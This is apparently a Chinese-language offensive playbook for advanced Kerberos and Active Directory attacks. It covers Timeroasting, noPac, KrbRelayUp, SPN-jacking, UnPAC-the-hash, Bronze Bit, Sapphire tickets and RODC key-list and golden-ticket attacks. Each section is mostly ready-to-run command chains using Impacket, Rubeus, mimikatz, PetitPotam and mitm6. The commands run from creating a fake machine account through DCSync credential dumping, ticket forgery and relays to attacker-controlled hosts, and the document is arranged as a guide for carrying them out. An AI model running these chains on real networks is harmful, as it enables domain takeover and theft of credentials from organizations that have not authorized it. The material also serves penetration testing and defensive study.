wgpsec/kerberos-advanced-attack

高级 Kerberos 攻击

触发条件

• 需要使用高级 Kerberos 技术（noPac / KrbRelayUp / Timeroasting / RODC）
• 基础 Kerberoasting 和委派攻击不够用
• 发现 RODC（只读域控制器）
• 需要更高隐蔽性的票据伪造（Sapphire ticket）

前置要求

| 技术 | 所需凭证 | 关键工具 | |------|---------|---------| | Timeroasting | 无需凭证 | timeroast, netexec | | ASREQroast | 无需凭证 (需 MITM) | PCredz | | noPac | 低权限域用户 | noPac.py, Impacket | | KrbRelayUp | 本地 SYSTEM | KrbRelayUp, krbrelayx | | SPN-jacking | 域用户 + WriteSPN | Impacket, tgssub | | UnPAC-the-hash | 用户证书 | PKINITtools, Rubeus | | Bronze Bit | 受限委派服务账号 | Impacket getST | | Sapphire ticket | krbtgt hash | Impacket ticketer | | RODC 攻击链 | 视阶段而定 | Rubeus, bloodyAD, keylistattack |

技术选择决策树

你目前有什么？
├── 无凭证/无认证
│   ├── 可达 DC NTP → Timeroasting
│   └── 有 MITM 位置 → ASREQroast
├── 低权限域用户
│   ├── MAQ > 0 → sAMAccountName spoofing (noPac)
│   └── 有 WriteSPN 权限 → SPN-jacking
├── 本地 SYSTEM (无域凭证)
│   └── LDAP signing 未强制 → KrbRelayUp
├── 持有证书
│   └── UnPAC-the-hash
├── 有受限委派 + 目标受保护
│   └── Bronze Bit (CVE-2020-17049)
├── 已有 krbtgt hash
│   └── 需高隐蔽 → Sapphire ticket
└── 发现 RODC
    └── RODC 攻击链

---

1. Timeroasting — NTP 无认证哈希提取

原理

DC 的 NTP 服务使用计算机账户的 NTLM hash (MD5-based key) 计算 NTP 响应中的 MAC 值。攻击者无需任何认证，仅通过发送 NTP 请求并指定不同 RID，即可获取计算机账户的 SNTP hash 用于离线破解。该 hash 基于 RC4 密钥，计算机账户如果使用弱密码（如 Pre-Windows 2000 设备），则可被快速破解。

前置条件

• 网络可达 DC 的 NTP 端口 (UDP 123)
• 无需任何认证凭据

核心命令

# 无认证枚举 — Linux
python3 timeroast.py "$DC_IP"

# netexec 模块
netexec smb "$DC_IP" -M timeroast

# Windows — 认证模式 (可生成针对性字典)
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP -GenerateWordlist

# 破解 SNTP hash
hashcat -m 31300 -a 0 -O hashes.txt $WORDLIST --username

成功标志

• 获取 SNTP hash 文件
• hashcat 破解出计算机账户密码
• 注意: 破解速度比 Kerberos TGS hash 快约 10 倍

---

2. ASREQroast — MITM AS-REQ 捕获

原理

当攻击者处于 MITM 位置时（ARP 欺骗、ICMP 重定向、DHCPv6 投毒），可以捕获域用户正常 Kerberos 预认证中的 AS-REQ 加密时间戳。该时间戳使用用户密码派生的密钥加密，可离线破解。与 AS-REP Roasting 不同，ASREQroast 不需要目标禁用预认证。

前置条件

• 拥有 MITM 位置（ARP/ICMP redirect/DHCPv6）
• 无需域凭据

核心命令

# 实时抓取
Pcredz -i $INTERFACE -v

# 从 pcap 文件提取
Pcredz -f "$PCAP_FILE"

# 从目录批量提取
Pcredz -d "$PCAP_DIR"

# 破解 AS-REQ Pre-Auth etype 23
hashcat -m 7500 asreq_hashes.txt $WORDLIST

成功标志

• 捕获到用户 AS-REQ 加密时间戳 hash
• hashcat 破解出用户明文密码

---

3. sAMAccountName Spoofing (noPac) — CVE-2021-42278 + CVE-2021-42287

原理

CVE-2021-42278 允许修改计算机账户的 sAMAccountName 为不带 $ 的值。CVE-2021-42287 导致 KDC 在找不到请求者时自动追加 $ 搜索。组合利用: 创建机器账户 → 改名为 DC 名(不带$) → 请求 TGT → 改回原名 → 用 TGT 做 S4U2self 获取 DC 的高权限 TGS。

前置条件

• 低权限域用户凭据
• MAQ (ms-DS-MachineAccountQuota) > 0
• 未安装补丁 KB5008102 + KB5008380

核心命令

# 自动化 — 一键利用
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -dump
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -use-ldap -dump

# 手动链 — UNIX (Impacket)
# Step 1: 创建机器账户
addcomputer.py -computer-name 'FAKEPC$' -computer-pass 'FakePass123' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"

# Step 2: 清除 SPN (避免约束检查)
addspn.py --clear -t 'FAKEPC$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"

# Step 3: 改名为 DC
renameMachine.py -current-name 'FAKEPC$' -new-name "$DC_NAME" -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"

# Step 4: 用 DC 名请求 TGT
getTGT.py -dc-ip $DC_IP "$DOMAIN/$DC_NAME:FakePass123"

# Step 5: 改回原名
renameMachine.py -current-name "$DC_NAME" -new-name 'FAKEPC$' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"

# Step 6: S4U2self 获取 DC ST
export KRB5CCNAME="$DC_NAME.ccache"
getST.py -self -impersonate "Administrator" -altservice "cifs/$DC_FQDN" -k -no-pass -dc-ip $DC_IP "$DOMAIN/$DC_NAME"

# Step 7: DCSync
export KRB5CCNAME="Administrator@cifs_$DC_FQDN@$DOMAIN.ccache"
secretsdump.py -k -no-pass -dc-ip $DC_IP "$DC_FQDN"

# 手动链 — Windows
New-MachineAccount -MachineAccount "FAKEPC" -Password $(ConvertTo-SecureString "FakePass123" -AsPlainText -Force) -Domain $DOMAIN
Set-DomainObject "FAKEPC$" -Clear 'servicePrincipalName'
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "$DC_NAME" -Attribute samaccountname
Rubeus.exe asktgt /user:"$DC_NAME" /password:"FakePass123" /domain:$DOMAIN /dc:$DC_FQDN /nowrap
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "FAKEPC$" -Attribute samaccountname
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/$DC_FQDN" /dc:$DC_FQDN /ptt /ticket:$TGT_BASE64
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator"

成功标志

• 获取 DC 的 cifs/ldap 服务票据
• DCSync 成功导出域内 hash

---

4. KrbRelayUp — 本地 Kerberos Relay 提权

原理

在已获取本地 SYSTEM 权限的场景下，将机器账户的 Kerberos 认证 relay 到 LDAP 服务，配置 RBCD (Resource-Based Constrained Delegation)，然后通过 S4U 链获取本地管理员票据，实现从 SYSTEM 到域内高权限的提升。

前置条件

• 本地 SYSTEM 权限
• LDAP signing 未强制
• MAQ > 0 或已控制机器账户

核心命令

# 基础利用
KrbRelayUp.exe relay -Domain $DOMAIN -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass
KrbRelayUp.exe spawn -m rbcd -d $DOMAIN -dc $DC_FQDN -cn YOURPC$ -cp Pass

# DNS 投毒 relay 变体 (krbrelayx + mitm6)
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
  --victim $TARGET_SAMNAME --adcs --template Machine

mitm6 -i $INTERFACE -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v

# Coerced auth relay 变体
dnstool.py -u "$DOMAIN\\$USER" -p "$PASSWORD" -r attacker.$DOMAIN -a add -t A -d $ATTACKER_IP $DC_IP
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine
PetitPotam.py attacker.$DOMAIN@80/test $TARGET_IP

成功标志

• RBCD 配置成功写入 msDS-AllowedToActOnBehalfOfOtherIdentity
• S4U 获取本地管理员票据
• 本地提权到 SYSTEM / 域内横向

---

5. SPN-jacking — KCD + DACL 组合定向 Kerberoasting

原理

当拥有对某账户的 WriteSPN 权限且环境中已配置 KCD 时，可以将目标 SPN "移动"到可控账户上，然后利用 S4U 链请求票据，最后用 tgssub 编辑票据中的 SPN 字段指向真正目标。

前置条件

• KCD (约束委派) 已配置
• 对另一个账户拥有 WriteSPN 权限

核心命令

# UNIX — 完整 SPN-jacking 流程
# Step 1: 清除目标 B 的 SPN
addspn.py --clear -t 'ServerB$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"

# Step 2: 将 B 的 SPN 添加到可控账户 C
addspn.py -t 'ServerC$' --spn "cifs/serverB.$DOMAIN" -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"

# Step 3: S4U 请求票据
getST.py -spn "cifs/serverB.$DOMAIN" -impersonate "Administrator" "$DOMAIN/serverA\$:$PASSWORD"

# Step 4: 编辑票据 SPN
tgssub.py -in serverB.ccache -out final.ccache -altservice "cifs/serverC.$DOMAIN"

# Windows
Set-DomainObject -Identity ServerB$ -Clear servicePrincipalName
Set-DomainObject -Identity ServerC$ -Set @{serviceprincipalname="cifs/serverB.$DOMAIN"}
Rubeus.exe s4u /ticket:$TGT /impersonateuser:Administrator /msdsspn:"cifs/serverB.$DOMAIN" /altservice:"cifs/serverC.$DOMAIN" /ptt

成功标志

• 获取目标服务的有效 ST
• 可访问目标服务 (cifs/http/mssql 等)

---

6. UnPAC-the-hash — PKINIT 证书转 NT Hash

原理

通过 PKINIT 获取的 TGT 的 PAC 中包含用户的 NT hash。利用 User-to-User (U2U) 请求机制，用自己的 TGT 加密自己的 TGS，然后从中提取 NT hash。常用于 ADCS 攻击或 Shadow Credentials 攻击后的凭据提取。

前置条件

• 持有目标用户的有效证书 (.pfx/.pem)
• 通常来自 ADCS 利用或 Shadow Credentials 写入

核心命令

# PKINITtools — Linux
gettgtpkinit.py -cert-pfx "$CERT_PFX" -pfx-pass "$PFX_PASS" "$DOMAIN/$USER" tgt.ccache
# 记录输出中的 AS-REP encryption key

getnthash.py -key '$AS_REP_KEY' '$DOMAIN'/'$USER'

# Rubeus — Windows
Rubeus.exe asktgt /getcredentials /user:"$USER" /certificate:"$CERT_PFX" /password:"$PFX_PASS" /domain:"$DOMAIN" /dc:"$DC_FQDN" /show

成功标志

• 成功获取目标用户的 NT hash
• 可用于 Pass-the-Hash 或进一步攻击

---

7. Bronze Bit (CVE-2020-17049) — 委派 Forwardable 标志绕过

原理

S4U2self 获取的票据中 forwardable 标志由 KDC 根据目标用户是否在 Protected Users 组或标记为 sensitive 来设置。Bronze Bit 攻击直接修改票据中的 forwardable 位（因为该票据用服务账户密钥加密，而攻击者已持有该密钥），从而绕过限制，将票据用于 S4U2proxy。

前置条件

• 控制一个配置了约束委派的服务账号
• 目标用户在 Protected Users 组或标记 "Account is sensitive and cannot be delegated"

核心命令

getST.py -force-forwardable \
  -spn "$TARGET_SPN" \
  -impersonate "Administrator" \
  -dc-ip "$DC_IP" \
  -hashes :"$NT_HASH" \
  "$DOMAIN/$SERVICE_ACCOUNT"

成功标志

• 获取可转发 (forwardable) 的 ST for 受保护用户
• 可访问委派目标服务

---

8. Sapphire Ticket — 高隐蔽票据伪造

原理

Diamond Ticket 的进阶变体。普通 Golden/Diamond Ticket 使用伪造的 PAC，Sapphire Ticket 通过 S4U2self + U2U 机制获取目标用户的真实 PAC，替换到伪造票据中。由于 PAC 来自 KDC 的真实签名，检测难度极高。

前置条件

• 已获取 krbtgt hash (AES + NT hash)
• 了解目标用户 RID 和域 SID

核心命令

ticketer.py -request \
  -impersonate 'domainadmin' \
  -domain '$DOMAIN' \
  -user '$USER' \
  -password '$PASSWORD' \
  -nthash '$KRBTGT_NT' \
  -aesKey '$KRBTGT_AES' \
  -user-id '$TARGET_RID' \
  -domain-sid '$DOMAIN_SID' \
  'baduser'

注意事项

• KB5008380 补丁后 KDC 检查 PAC_REQUESTOR 和 PAC_ATTRIBUTES_INFO 结构
• 缺少这些字段可能导致 KDC_ERR_TGT_REVOKED
• 与 Golden/Diamond 对比: Sapphire 使用真实 PAC (S4U 获取)，最难检测

成功标志

• 获取包含真实 PAC 的伪造票据
• 票据可正常通过 KDC 验证

---

9. RODC 攻击链

原理

只读域控制器 (RODC) 拥有独立的 krbtgt 密钥 (krbtgt_XXXXX)，通过密码复制策略 (PRP) 控制可缓存哪些账户的密钥。攻击 RODC 可提取受允许缓存的账户密钥，或通过 DACL 修改 PRP 扩大影响范围。

枚举 RODC

# LDAP 查询
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(primaryGroupID=521)" dn sAMAccountName msDS-SecondaryKrbTgtNumber

# netexec
nxc ldap $DC_IP -u "$USER" -p "$PASSWORD" -M rodc

PRP 策略查询

# msDS-RevealOnDemandGroup — 允许缓存列表
# msDS-NeverRevealGroup — 拒绝缓存列表
ldapsearch -H ldap://$DC_IP -b "CN=$RODC_NAME,OU=Domain Controllers,DC=$DOMAIN_DN" \
  msDS-RevealOnDemandGroup msDS-NeverRevealGroup managedBy

Key List 攻击 — 提取缓存密钥

# 完整模式 (包含被 Denied 的)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -full "$DOMAIN/$USER:$PASS"@"$RODC"

# 正常模式 (遵循 Denied List)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" "$DOMAIN/$USER:$PASS"@"$RODC"

# 指定用户模式
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -t "$TARGET_USER" "$DOMAIN/$USER:$PASS"@"$RODC"

# Windows — Rubeus
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:rodc.kirbi /aes256:$KRBTGT_AES /user:$USER /id:$RID /domain:$DOMAIN /sid:$SID
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:rodc.kirbi /service:krbtgt/$DOMAIN

RODC Golden Ticket

Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap \
  /outfile:ticket.kirbi /aes256:$KRBTGT_AES \
  /user:Administrator /id:500 /domain:$DOMAIN /sid:$DOMAIN_SID

• kvno 字段必须匹配 RODC 的 krbtgt 版本号
• 票据提交到可写 DC 时，PAC 会被重新计算验证

RODC DACL 利用 — 修改 PRP 扩大影响

# bloodyAD — 添加管理员到允许列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
  msDS-RevealOnDemandGroup -v "CN=Domain Admins,CN=Users,DC=$DOMAIN_DN"

# bloodyAD — 清除拒绝列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
  msDS-NeverRevealGroup

# powerview.py
Set-DomainObject -Identity "$RODC_DN" -Append @{'msDS-RevealOnDemandGroup'='CN=Domain Admins,CN=Users,DC=$DOMAIN_DN'}
Set-DomainObject -Identity "$RODC_DN" -Clear 'msDS-NeverRevealGroup'

• 攻击链: 修改 PRP → 导出 krbtgt_XXXXX → RODC Golden Ticket → Key List 攻击

Pre-Windows 2000 计算机账户

# 默认密码 = 小写计算机名去掉 $
# 筛选: UAC=4128 + logonCount=0
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(&(userAccountControl=4128)(logonCount=0))" sAMAccountName

# 批量验证
nxc smb $DC_IP -u computers.txt -p passwords.txt --no-bruteforce

# Kerberos 认证
getTGT.py "$DOMAIN/OLDPC\$:oldpc"

成功标志

• 提取目标账户 NT hash
• 获取 RODC Golden Ticket
• 修改 PRP 后可缓存高权限账户密钥

---

深入参考

• → references/kerberos-escalation.md — noPac / KrbRelayUp / Bronze Bit / SPN-jacking / Timeroasting / ASREQroast / UnPAC / Sapphire 完整命令参考
• → references/rodc-attack.md — RODC 概念、Key List 攻击、RODC Golden Ticket、DACL 利用、Pre-Windows 2000